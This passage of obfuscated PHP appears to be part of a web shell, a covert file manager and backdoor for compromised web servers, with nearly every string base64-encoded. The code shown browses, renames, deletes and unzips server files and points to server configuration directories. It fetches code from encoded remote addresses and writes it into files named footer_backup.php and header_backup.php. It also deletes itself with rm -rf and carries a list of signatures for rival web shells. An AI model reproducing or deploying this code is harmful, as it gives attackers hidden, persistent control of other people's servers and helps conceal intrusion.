wb('IiBjbGFzcz0iZm9ybS1jb250cm9sIG1iLTIiIHN0eWxlPSJ3aWR0aDozNTBweCIgaGVpZ2h0PSIxMCI+PGlucHV0IG5hbWU9ImFzYWwidmFsdWU9ImFiY2QiIHR5cGU9ImhpZGRlbiI+IDxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLWxnIG1sLTIiIG5hbWU9IlN1Ym1pdCIgdmFsdWU9IlNUQVIgU0NBTiIgdHlwZT0ic3VibWl0IiBkaXNhYmxlZD48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+'); } } } elseif (isset($_GET[hex(wb('c2Nhbnoy'))])) { ScanMenu($d); if (isset($_POST[wb('ZGlyZWt0b3JpeA==')])) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGNlbnRlcj48YnI+PGhyPjxoMj5Mb2NhbCBCYWNrZG9vciBTY2FubmVyIDI8L2gyPjwvY2VudGVyPjxicj4='); echo wb('PGNlbnRlcj48Zm9ybSBjbGFzcz0nZm9ybS1pbmxpbmUnIG1ldGhvZD0nUE9TVCcgYWN0aW9uPScnPgoJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnIHR5cGU9J3RleHQnIG5hbWU9J2RpcmVrdG9yaXgnIHZhbHVlPSc=') . $direktori . wb('JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPgoJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1tZCBtbC0yJyBuYW1lPSdzY2FubmVyJyB2YWx1ZT0nU2Nhbic+PC9pbnB1dD4KCQkJPC9mb3JtPjwvY2VudGVyPg=='); if (isset($_POST[wb('c2Nhbm5lcg==')])) { $config[wb('dGFyZ2V0X2Rpcg==')] = $direktori; $suspicious_strings = array(wb('Yzk5c2hlbGw='), wb('cGhwc3B5cGFzcw=='), wb('T3duZWQ='), wb('ZXZhbCg='), wb('bW92ZV91cGxvYWRlZF9maWxl'), wb('dG1wX25hbWU='), wb('ZmlsZV9nZXRfY29udGVudHM='), wb('aGV4MmJpbg=='), wb('YmluMmhleA=='), wb('Yzk5X2J1ZmZfcHJlcGFyZQ=='), wb('U29sZXZpc2libGU='), wb('QWxmYS1UZWFt'), wb('TWluaXNoZWxs'), wb('V1NPc3RyaXBzbGFzaGVz'), wb('Q3l0bw=='), wb('cHdkMTYz'), wb('WmVlcng3'), wb('ZWRvY2VkXzQ2ZXNhYg=='), wb('Y29uN2V4dA=='), wb('cGhwRmlsZU1hbmFnZXI='), wb('RmlsZW1hbg=='), wb('TUFSSUpVQU5B'), wb('TWluaQ=='), wb('Y2FraWw='), wb('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM='), wb('QUdVU1RVU18xN18xOTQ1'), wb('cGFzdGViaW4='), wb('cnV6aHU='), wb('eGlhb3hpYW5udg=='), wb('Yml0Lmx5'), wb('YWJjcjU3'), wb('aGFja2Vy'), wb('aDR4MHI='), wb('L2V0Yy9wYXNzd2Q='), wb('dW5hbWUgLWE='), wb('ZXZhbChiYXNlNjRfZGVjb2RlKA=='), wb('KDB4ZjcwMDFFKT8weDhiOigweGFFMTdBKQ=='), wb('ZDA2ZjQ2MTAzMTgzY2UwOGJiZWY5OTlkM2RjYzQyNmE='), wb('cnNzX2Y1NDFiM2FiZDA1ZTc5NjJmY2FiMzc3MzdmNDBmYWQ4'), wb('cjU3c2hlbGw='), wb('TG9jdXM3cw=='), wb('bWlsdzBybQ=='), wb('JElJSUlJSUlJSUlJbA=='), wb('U3ViaGFzaERhc3lhbS5jb20='), wb('MzEzMzc=')); $suspicious_files = array(); function is_php_file($filename) { global $GNJ; return $GNJ[22]($filename, -4) == wb('LnBocA==') || $GNJ[22]($filename, -5) == wb('LnBocDQ=') || $GNJ[22]($filename, -6) == wb('LnBodG1s') || $GNJ[22]($filename, -5) == wb('LnBocDU='); } $dir_count = 0; function backdoor_scan($path) { global $suspicious_strings; global $suspicious_files; global $config; global $dir_count; global $GNJ; $dir_count++; $d = @dir($path); if ($d == false) { echo wb('PGJyPlt4XSBGYWlsZWQgdG8gb3BlbiBkaXJlY3Rvcnkg') . $path . wb('LCBza2lwcGluZw=='); return; } while (false !== ($filename = $d->read())) { if ($filename != wb('Lg==') && $filename != wb('Li4=')) { $full_filename = $d->path . DIRECTORY_SEPARATOR . $filename; $false = false; if (!empty($false_positives)) { if (in_array($full_filename, $false_positives)) { $false = true; } } if (!$false) { if ($GNJ[8]($full_filename)) { backdoor_scan($full_filename); } else { if (is_php_file($filename)) { $contents = fgt($full_filename); $suspicious = false; foreach ($suspicious_strings as $string) { if ($GNJ[30](strtolower($contents), strtolower($string)) != false) { $suspicious = true; } } if ($suspicious) { echo wb('PGJyPlsqXSBTdXNwaWNpb3VzIGZpbGUgZm91bmQ6IDxhIGhyZWY9Jz9kPQ==') . hex($d->path) . wb('JnM9') . hex($filename) . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $full_filename . wb('PC9hPg=='); $suspicious_files[] = $full_filename; } } } } } } } if ($GNJ[22]($config[wb('dGFyZ2V0X2Rpcg==')], -1) == wb('Lw==')) { $config[wb('dGFyZ2V0X2Rpcg==')] = $GNJ[22]($config[wb('dGFyZ2V0X2Rpcg==')], 0, strlen($config[wb('dGFyZ2V0X2Rpcg==')]) - 1); } backdoor_scan($config[wb('dGFyZ2V0X2Rpcg==')]); echo wb('PGJyPjxicj4='); if (count($suspicious_files) > 0) { echo wb('PGJyPlshXSBTY2FuIGNvbXBsZXRlLiBBIGxpc3Qgb2Ygc3VzcGljaW91cyBmaWxlcy4='); } else { echo wb('PGJyPlsrXSBTY2FuIGNvbXBsZXRlLiBObyBzdXNwaWNpb3VzIGZpbGVzIHdlcmUgZm91bmQuPGJyPg=='); } } } elseif (isset($_GET[hex(wb('c2Nhbnox'))])) { ScanMenu($d); echo wb('PGNlbnRlcj48YnI+PGhyPjxoMj48YSBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnox')) . wb('Ij5Mb2NhbCBCYWNrZG9vciBTY2FubmVyIDE8L2E+PC9oMj48L2NlbnRlcj48YnI+'); if (!$GNJ[26](wb('Zm9vdGVyX2JhY2t1cC5waHA='))) { $scannerz = fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hiaXgxTG1kd0hDNnZIdlR4YXc9'))); file_put_contents(wb('Zm9vdGVyX2JhY2t1cC5waHA='), $GNJ[39](b64dd($scannerz))); } echo wb('PGJyPjxpZnJhbWUgaWQ9J2NvbnRlbnQnIG5hbWU9J2NvbnRlbnQnIHN0eWxlPSd3aWR0aDogMTAwJTsgaGVpZ2h0OiA5MDBweDsgb3ZlcmZsb3cteDogaGlkZGVuOyBvdmVyZmxvdy15OiBzY3JvbGw7JyBzcmM9J2Zvb3Rlcl9iYWNrdXAucGhwJz48cD5Zb3VyIGJyb3dzZXIgZG9lcyBub3Qgc3VwcG9ydCBpZnJhbWVzLjwvcD48L2lmcmFtZT4='); } elseif (isset($_GET[hex(wb('a2lsbHNlbGY='))])) { if (isset($_SERVER[wb('SFRUUF9DT09LSUU=')])) { $cookies = explode(wb('Ow=='), $_SERVER[wb('SFRUUF9DT09LSUU=')]); foreach ($cookies as $cookie) { $parts = explode(wb('PQ=='), $cookie); $name = trim($parts[0]); setcookie($name, '', time() - 1000); setcookie($name, '', time() - 1000, wb('Lw==')); } } unset($_SESSION[md5($_SERVER[wb('SFRUUF9IT1NU')])]); @$GNJ[10](__FILE__); exe(wb('cm0gLXJmIA==') . $_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')]); print wb('PHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz8nOzwvc2NyaXB0Pg=='); } elseif (isset($_GET[hex(wb('bWQ1eG9u'))])) { startmd5(); echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('JjEiPg=='); } elseif (isset($_GET[hex(wb('bWQ1eG9mZg=='))])) { stopmd5(); echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('JjEiPg=='); } elseif (isset($_GET[hex(wb('c2Nhbm9mZg=='))])) { if ($GNJ[26](wb('Zm9vdGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('Zm9vdGVyX2JhY2t1cC5waHA=')); } OK(); } elseif (isset($_GET[hex(wb('Y29uc29sZW9u'))])) { $cons = fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3aTcwcnlrc20vSXJiTT0='))); file_put_contents(wb('aGVhZGVyX2JhY2t1cC5waHA='), $cons); print wb('PHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz8nOzwvc2NyaXB0Pg=='); } elseif (isset($_GET[hex(wb('Y29uc29sZW9mZg=='))])) { if ($GNJ[26](wb('aGVhZGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('aGVhZGVyX2JhY2t1cC5waHA=')); } OK(); } elseif (isset($_GET[hex(wb('bG9nb3V0'))])) { stopmd5(); if (isset($_SERVER[wb('SFRUUF9DT09LSUU=')])) { $cookies = explode(wb('Ow=='), $_SERVER[wb('SFRUUF9DT09LSUU=')]); foreach ($cookies as $cookie) { $parts = explode(wb('PQ=='), $cookie); $name = trim($parts[0]); setcookie($name, '', time() - 1000); setcookie($name, '', time() - 1000, wb('Lw==')); } } unset($_SESSION[md5($_SERVER[wb('SFRUUF9IT1NU')])]); unset($_SESSION[wb('a2V5eHg=')]); $keyxxx = ''; if ($GNJ[26](wb('Zm9vdGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('Zm9vdGVyX2JhY2t1cC5waHA=')); } if ($GNJ[26](wb('aGVhZGVyX2JhY2t1cC5waHA='))) { @$GNJ[10](wb('aGVhZGVyX2JhY2t1cC5waHA=')); } print wb('PHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz8nOzwvc2NyaXB0Pg=='); } elseif (isset($_GET[wb('bg==')])) { echo $a_ . wb('K0ZJTEU=') . $b_ . wb('CiAJCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAJCQkJCTxpbnB1dCBuYW1lPSJuIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9IiI+CiAJCQkJCQ==') . $d_ . wb('CiAJCQk=') . $c_; if (isset($_POST[wb('bg==')])) { if (!$GNJ[25]($_POST[wb('bg==')])) { ER(); } else { echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('JmU9') . hex($_POST[wb('bg==')]) . wb('Ij4='); } } } elseif (isset($_GET[wb('cg==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('cg==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdDsiPjxoMj5SZW5hbWUg') . rehex($_GET[wb('cg==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $d . wb('Lw==') . rehex($_GET[wb('cg==')]) . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('cg==')]) . wb('CiA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJyIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9Ig==') . rehex($_GET[wb('cg==')]) . wb('Ij4g') . $d_ . wb('CiAJCQ==') . $c_; rayeli($checkfx, rehex($_GET[wb('cg==')])); if (isset($_POST[wb('cg==')])) { if ($GNJ[26]($_POST[wb('cg==')])) { ER(); } else { if ($GNJ[27](rehex($_GET[wb('cg==')]), $_POST[wb('cg==')])) { OK(); } else { ER(); } } } } else { echo wb('RmlsZSBub3QgZXhpc3QhIDxhIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPg=='); } } elseif (isset($_GET[wb('eg==')])) { $zip = new ZipArchive(); $res = $zip->open(rehex($_GET[wb('eg==')])); if ($res === true) { $zip->extractTo(rehex($_GET[wb('ZA==')])); $zip->close(); OK(); } else { ER(); } } else { echo wb('PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+PHRhYmxlIGNsYXNzID0gInRhYmxlIHRhYmxlLWRhcmsgdGFibGUtaG92ZXIgdGFibGUtc3RyaXBlZCB0YWJsZS1zbSB0YWJsZS1ib3JkZXJsZXNzIG10LTMgaG92ZXJUYWJsZSI+PHRoZWFkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+PHRyPjx0aD48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJzZWxlY3RfYWxsIiAvPjwvdGg+PHRoPiBOQU1FUyA8L3RoPjx0aD4gQUNUSU9OIA=='); if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { echo wb('PC90aD48dGg+RklMRSBQQVRI'); } echo wb('PC90aD4='); echo wb('PHRoPiBTSVpFIA=='); if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { echo wb('PC90aD48dGg+TUQ1'); } echo wb('PC90aD4='); echo wb('PHRoPiBMQVNUIE1PRElGSUVEPC90aD48dGg+T1dORVIvR1JPVVAgPC90aD48dGg+UEVSTSA8L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+'); $h = ''; $j = ''; $w = $GNJ[13]($d); if ($GNJ[28]($w) || $GNJ[29]($w)) { foreach ($w as $c) { $e = $GNJ[14](wb('XA=='), wb('Lw=='), $d); if (!$GNJ[30]($c, wb('LnppcA=='))) { $zi = ''; } else { $zi = wb('WzxhIGhyZWY9Ij9kPQ==') . hex($e) . wb('Jno9') . hex($c) . wb('Ij5VPC9hPl0='); } if ($GNJ[31]("{$d}/{$c}")) { $o = ''; } elseif (!$GNJ[32]("{$d}/{$c}")) { $o = wb('IGg='); } else { $o = wb('IGJsaW5rIHciIHN0eWxlPSI='); } $s = $GNJ[34]("{$d}/{$c}") / 1024; $s = round($s, 3); if ($s >= 1024) { $s = round($s / 1024, 2) . wb('IE1C'); } else { $s = $s . wb('IEtC'); } if ($c != wb('Lg==') && $c != wb('Li4=')) { if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { if ($GNJ[34]($c) < 2048880 && $GNJ[34]($c) > 1) { $hasilmd5 = md5_file($e . DIRECTORY_SEPARATOR . $c); } else { $hasilmd5 = wb('VW5jb3VudGVk'); } $codemd4 = wb('PHRkPkRpcmVjdG9yeTwvdGQ+'); $codemd5 = wb('PHRoPjxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTAiIHR5cGU9InRleHQiIHZhbHVlPSI=') . $hasilmd5 . wb('IiAgb25jbGljaz0idGhpcy5zZWxlY3QoKTsiPjwvdGg+'); } else { $codemd5 = ''; $codemd4 = ''; } if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { $codemd6 = wb('PHRoPjxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTAiIHR5cGU9InRleHQiIHZhbHVlPSI=') . $e . DIRECTORY_SEPARATOR . $c . wb('IiAgb25jbGljaz0idGhpcy5zZWxlY3QoKTsiPjwvdGg+IA=='); } else { $codemd6 = ''; } $checkfxo = $e . DIRECTORY_SEPARATOR . $c; $exurl = $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $e) . wb('Lw==') . $c; if ($GNJ[30]($e, $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) !== false) { if ($e != $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) { $urlmx = wb('IFs8YSBocmVmPSIvLw==') . $_SERVER[wb('SFRUUF9IT1NU')] . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $exurl) . wb('IiB0YXJnZXQ9Il9ibGFuayI+CiYjeDIzNDY7PC9hPl0g'); } else { $urlmx = wb('IFs8YSBocmVmPSIvLw==') . $_SERVER[wb('SFRUUF9IT1NU')] . $exurl . wb('IiB0YXJnZXQ9Il9ibGFuayI+JiN4MjM0Njs8L2E+XSA='); } } else { $urlmx = ''; } $arraydomain = array(wb('LmNvbQ=='), wb('Lm5ldA=='), wb('Lmlk'), wb('Lm9yZw=='), wb('LmNvbS4='), wb('Lm5ldC4='), wb('Lm9yZy4='), wb('LmVkdS4='), wb('Lmdvdi4='), wb('LmdvYi4='), wb('Lmlu')); if (strposa($c, $arraydomain, 1)) { $codem7 = wb('WzxhIGhyZWY9Ii8v') . $c . wb('IiB0YXJnZXQ9Il9ibGFuayI+JiN4MjM4ODs8L2E+XQ=='); } else { $codem7 = ''; } $GNJ[8]("{$d}/{$c}") ? $h .= wb('PHRyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+IDx0ZCB3aWR0aD0iNyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY2hlY2tib3giIG5hbWU9ImN1Y29rW10iIHZhbHVlPSI=') . $d . DIRECTORY_SEPARATOR . $c . wb('Ii8+PC90ZD48dGQgY2xhc3M9InRleHQtbGVmdCI+ICYjMTI4MTYyOyA8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0=') . hex($e) . hex(wb('Lw==') . $c) . wb('Ij4=') . $c . wb('PC9hPiA8L3RkPjx0ZD4gWzxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnI9') . hex($c) . wb('Ij5SRU48L2E+XSBbPGEgY2xhc3M9ImFqeA==') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jng9') . hex($c) . wb('Ij5ERUw8L2E+XSA=') . $codem7 . $urlmx . $codemd6 . wb('IDwvdGQ+PHRkPiBEaXJlY3Rvcnk8L3RkPg==') . $codemd4 . wb('PHRkPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnQ9') . hex($c) . wb('Ij4=') . $GNJ[20](wb('WS1tLWQgZzpp'), $GNJ[21]("{$d}/{$c}")) . wb('PC9hPiAgPC90ZD48dGQ+IDxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTMiIHR5cGU9InRleHQiIG9uY2xpY2s9InRoaXMuc2VsZWN0KCk7IiB2YWx1ZT0i') . GetFileOwnerGroup($checkfxo) . wb('Ij4gPC90ZD48dGQ+ICA8YSBjbGFzcz0iYWp4') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jms9') . hex($c) . wb('Ij4=') . x("{$d}/{$c}") . wb('PC9hPiA8L3RkPjwvdHI+') : ($j .= wb('PHRyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+CiAgCSA8dGQgd2lkdGg9IjciIGNsYXNzPSJ0ZXh0LWNlbnRlciI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY2hlY2tib3giIG5hbWU9ImN1Y29rW10iIHZhbHVlPSI=') . $d . DIRECTORY_SEPARATOR . $c . wb('Ii8+PC90ZD4KIAk8dGQgY2xhc3M9InRleHQtbGVmdCI+CQkJCSYjMTI4MzA0OwogCQk8YSB0aXRsZT0i') . $c . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnM9') . hex($c) . wb('Ij4=') . $c . wb('PC9hPgkJCTwvdGQ+CiAJPHRkPls8YSBjbGFzcz0i') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JmU9') . hex($c) . wb('Ij5FRElUPC9hPl0gWzxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnI9') . hex($c) . wb('Ij5SRU48L2E+XSA=') . $zi . wb('IFs8YSBjbGFzcz0iYWp4') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jng9') . hex($c) . wb('Ij5ERUw8L2E+XQogCQk=') . $urlmx . $codemd6 . wb('IDwvdGQ+CiAJPHRkPg==') . $s . wb('IA==') . $codemd5 . wb('PC90ZD4KIAk8dGQ+PGEgY2xhc3M9ImFqeA==') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('JnQ9') . hex($c) . wb('Ij4=') . $GNJ[20](wb('WS1tLWQgZzpp'), $GNJ[21]("{$d}/{$c}")) . wb('PC9hPjwvdGQ+CiAJPHRkPjxpbnB1dCBzdHlsZT0iYm9yZGVyOiBub25lO2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMTMiIG9uY2xpY2s9InRoaXMuc2VsZWN0KCk7IiB2YWx1ZT0i') . GetFileOwnerGroup($checkfxo) . wb('Ij48L3RkPgoJPHRkPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jms9') . hex($c) . wb('Ij4=') . x("{$d}/{$c}") . wb('PC9hPjwvdGQ+PC90cj4JCQ==')); } } } echo $h; echo wb('PHRyIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmxpbWU7IiBoZWlnaHQ9IjFweCI+PHRkIGNvbHNwYW49IjkiPjwvdGQ+PC90cj4='); echo $j; echo wb('PHRyIGhlaWdodD0iMnB4Ij48dGQ+PGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLXNtIiB0eXBlPSJzdWJtaXQiIG5hbWU9ImRlbGV0ZUZpbGV6Ij5ERUw8L2J1dHRvbj48L3RkPjx0ZCBjb2xzcGFuPSI4IiBjbGFzcz0idGV4dC1jZW50ZXIgc21hbGwiPg==') . decno(wb('bzdLY3RxUzV2YkxEYmF5OFljSjFiY0c0WkcybHczVnR6YjlrYmJQTnZYbC9zYTU1WWNLNHU0dHRxc2R0ZU1QR2kyMXNmWFdFYWJuVHMyUnRwWVJwd01wNVdMQjFlS3E3dzIyeHZMYUVhY2JFd0ZqR3NNMXFiWnZBckwrd3hyQ0xzN1dadTZ4NHdyelViWjY4czNpK3dNaTduMjIxd0xMQWY4U2RyN1RBcnJuTGlXZkF0Y3E0dThhTFptMkV5cTZ4eU1HcmgyR2xxci9JdDYydXI3bDFiYmFnaDNsaHViZXhmNDZrczZKNHI3elJiYUc3dE1peXY4aTduMjIyeTNkdG02K3FpNUNyZzIySnU2M0ZiWGkycnNKNVdLU3F4bk50akcyTXNxVEFnMjJ2bFlpQ2I0dDBlWCtkc2NHcHg3ZC9qWVJqZVdHb3JyL0xlVmlRc0x5dXVzaS9xcnl6aEdtM3NNS2R2N3FFYWFEVHJwdTRzTTZ1djhXNXA4UnRlSXk1enNLY3M2MjV1N0tMYlhtNXJYaU1vNlIwcTIyT3ViekJ4TDlrYmFMR3JXMm10cXkxdHJwcWJZeHRpN3luek1DdTBiS3loMkdidGJ6VXNYRjVZYXUrcjh1MnBiSnRlS3E3dzIyRm9JYThzTEtB')) . wb('PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Zvcm0+'); } echo wb('PGRpdiBjbGFzcz0iY2FyZCBiZy1kYXJrIG1iLTIgbXQtNCI+PHRhYmxlIGNsYXNzID0gInRhYmxlIHRhYmxlLWJvcmRlcmxlc3MgdGFibGUtZGFyayIgPjx0cj48dGQ+'); if (isset($_POST[wb('bmVtZWZlbGU=')])) { $nemefele = $_POST[wb('bmVtZWZlbGU=')]; } else { $nemefele = $dbener . wb('bmFtYWZpbGUucGhw'); } echo wb('PGZvcm0gY2xhc3M9ImZvcm0taW5saW5lIiBtZXRob2Q9InBvc3QiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkgYnRuLXNtIj5SRUFEIEZJTEU8L2J1dHRvbj4gPGlucHV0IHN0eWxlPSJib3JkZXI6IG5vbmU7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDBmZjAwOyIgdHlwZT0idGV4dCIgc2l6ZT0iMzQiIGhlaWdodD0iMTAiIHZhbHVlPSI=') . $nemefele . wb('IiBuYW1lPSJuZW1lZmVsZSI+IDxpbnB1dCBjbGFzcz0iYnRuIGJ0bi13YXJuaW5nIGJ0bi1zbSIgdHlwZT0ic3VibWl0IiBuYW1lPSJlZGl0ZmlsZSIgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48dGQ+PGEgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20gYWp4IiBocmVmPSI/ZD0=') . hex($d) . wb('Jm4iPitORVdGSUxFKzwvYT4gPGEgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('JmwiPitORVdESVIrPC9hPiA='); echo wb('PHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sLXNtIiBhcmlhLWxhYmVsPSJPcGVuIHRoaXMgc2VsZWN0IG1lbnUiIG9uY2hhbmdlPSJ0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSAmJiAod2luZG93LmxvY2F0aW9uID0gdGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpOyI+CiAgPG9wdGlvbiBzZWxlY3RlZD5HbyB0byAuLjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) . wb('Ij5Ib21lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0i') . $this_file . wb('Ij5UaGlzIEZpbGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI/ZD0=') . hex(wb('L3RtcA==')) . wb('Ij4vdG1wPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iP2Q9') . hex(wb('L3Zhci90bXA=')) . wb('Ij4vdmFyL3RtcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Ij9kPQ==') . hex(wb('L2Rldi9zaG0=')) . wb('Ij4vZGV2L3NobTwvb3B0aW9uPg=='); if ($GNJ[26](wb('L2V0Yy9odHRwZA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZA==')) . wb('Jz4vZXRjL2h0dHBkPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9odHRwZC9jb25mL3BsZXNrLmNvbmYuZC92aG9zdHM=')) . wb('Jz4vZXRjL2h0dHBkL2NvbmYvcGxlc2suY29uZi5kL3Zob3N0czwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGUy'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGUy')) . wb('Jz4vZXRjL2FwYWNoZTI8L29wdGlvbj4='); } if ($GNJ[26](wb('L2V0Yy9uZ2lueC1zcA=='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueC1zcA==')) . wb('Jz4vZXRjL25naW54LXNwPC9vcHRpb24+'); } if ($GNJ[26](wb('L2V0Yy9hcGFjaGU='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9hcGFjaGU=')) . wb('Jz4vZXRjL2FwYWNoZTwvb3B0aW9uPg=='); } if ($GNJ[26](wb('L3Vzci9sb2NhbC9sc3dz'))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L3Vzci9sb2NhbC9sc3dz')) . wb('Jz4vdXNyL2xvY2FsL2xzd3M8L29wdGlvbj4='); } if ($GNJ[26](wb('IC9ldGMvbmdpbng='))) { echo wb('IDxvcHRpb24gdmFsdWU9Jz9kPQ==') . hex(wb('L2V0Yy9uZ2lueA==')) . wb('Jz4vZXRjL25naW54PC9vcHRpb24+'); } echo wb('PC9zZWxlY3Q+'); echo wb('PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLWRhcmsgYnRuLXNtIG1sLTEiPg==') . getFileCount($d) . wb('IEZJTEUoUykgb24gPC9idXR0b24+PGlucHV0IG9uY2xpY2s9InRoaXMuc2VsZWN0KCk7IiBzdHlsZT0iYm9yZGVyOiBub25lOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzAwZmYwMDsiIHR5cGU9InRleHQiIHNpemU9IjIzIiBoZWlnaHQ9IjEwIiB2YWx1ZT0i') . $dbener . 